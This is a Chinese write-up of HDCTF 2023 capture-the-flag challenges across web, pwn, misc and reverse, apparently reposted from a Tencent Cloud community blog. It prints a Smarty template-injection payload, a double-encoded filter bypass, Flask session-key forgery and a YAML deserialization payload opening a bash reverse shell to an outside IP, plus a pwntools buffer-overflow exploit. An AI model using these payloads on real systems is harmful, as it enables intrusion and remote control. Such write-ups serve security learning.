SearchMaster
Smarty
ssti
使用{if}标签闭合达到命令执行的效果
{if phpinfo()}{/if}
闭合命令执行得到flag
NSSCTF{bba9bf40-827f-49b9-9f97-46e82f0e155a}
签到题,js源码得到flag
NSSCTF{We13ome_t@_HDCTF_2o23}
任意文件读取,读环境变量得到flag
NSSCTF{dc72e126-c221-4b20-92de-8d26ddead12c}
赛后看了出题人的博客,发现我非预期了,准备走一遍预期解的思路
pwd命令可以读取当前路径
这个时候紧接着的思路应该是读取源码 /app/app.py
发现有过滤,不能输入app.
此时绕过方法是url双重编码绕过
/app/app.py
%25%32%46%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
下面就是进入白盒,代码审计一下
这道题目的突破口就是伪造cookie+yaml反序列化,cookie的key的种子是random.seed(uuid.getnode())生成的,而 uuid.getnode() 方法可以用来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
伪造第一步,读取网卡
/sys/class/net/eth0/address
得到02:42:ac:02:45:95
然后进行yaml反序列化进行反弹shell
payload如下
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/43.143.195.203/7777 <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
HardMisc
签到题,010最后有base编码,解码得到flag
HDCTF{wE1c0w3_10_HDctf_M15c}
签到题,strand伪随机数,有种子值是57,能解出固定随机数
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand(57);
printf("%d\n", rand());
return 0;
}
得到随机数为1956681178
然后剩下的就是基础的溢出到后门即可
Exp如下
from pwn import *
context.log_level='debug'
p = remote('node6.anna.nssctf.cn',28700)
#p = process('./pwnner')
payload = b'b'*(64+8)+p64(0x4008B6)
p.recvuntil("Welc0me t0 _HDctf__\n")
rand =b'1956681178'
p.sendline(rand)
p.recvuntil("ok,you have a little cognition about pwn,so what will you do next?\n")
p.sendline(payload)
p.interactive()
NSSCTF{612d3c69-453d-4092-a0af-37ee2881afaa}
Binwalk分离出来一个压缩包
爆破压缩包密码为haida
解压得到Reverse.piz文件
010分析发现hex数据需要两两进行调转
脚本如下
with open('C:/Users/25963/Desktop/00000190/Dic/Reverse.piz', 'rb') as f:
s = f.read()
t = [x // 16 + 16 * (x % 16) for x in s]
with open('C:/Users/25963/Desktop/00000190/Dic/x.zip', 'wb') as f:
f.write(bytes(t))
得到压缩包,爆破压缩包密码为9724
应该是明文攻击,得到解压密码w98d@ud
HDCTF{u_a_a_master_@_c0mpRe553d_PaCKe1s}
UPX壳
先进行脱壳
Base64解码得到flag
HDCTF{Y0u_h@v2_/\/\@57er3d_7he_r3v3rs3}
32位无壳
异或,脚本如下
a = [
78, 111, 116, 32, 101, 113, 117, 97, 108, 33,
36, 69, 113, 117, 97, 108, 33, 36, 88, 84,
83, 68, 86, 107, 90, 101, 99, 100, 79, 113,
79, 117, 35, 99, 105, 79, 113, 67, 125, 109,
36]
for i in range(len(a) - 1):
print(chr(a[i] ^ 16), end="")
HDCTF{Just_a_e3sy_aSm}
非预期,题目自带flag
NSSCTF{0b3663ed-67e4-44e2-aee7-7c2d8665b63c}
先恢复压缩包
爆破密码 5483
解压之后是个图片,fomost分离出来俩图片和一个wav音频文件
图片改高,得到一半flag
Wav看音频频谱图得到另外一半flag
搜索第三段flag
NSSCTF{e67d8104-7536-4433-bfff-96759901c405}
原题改的
https://www.cnblogs.com/aninock/p/16467716.html
NSSCTF{37e20899-0fbf-4ba1-a243-10de0604475e}
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。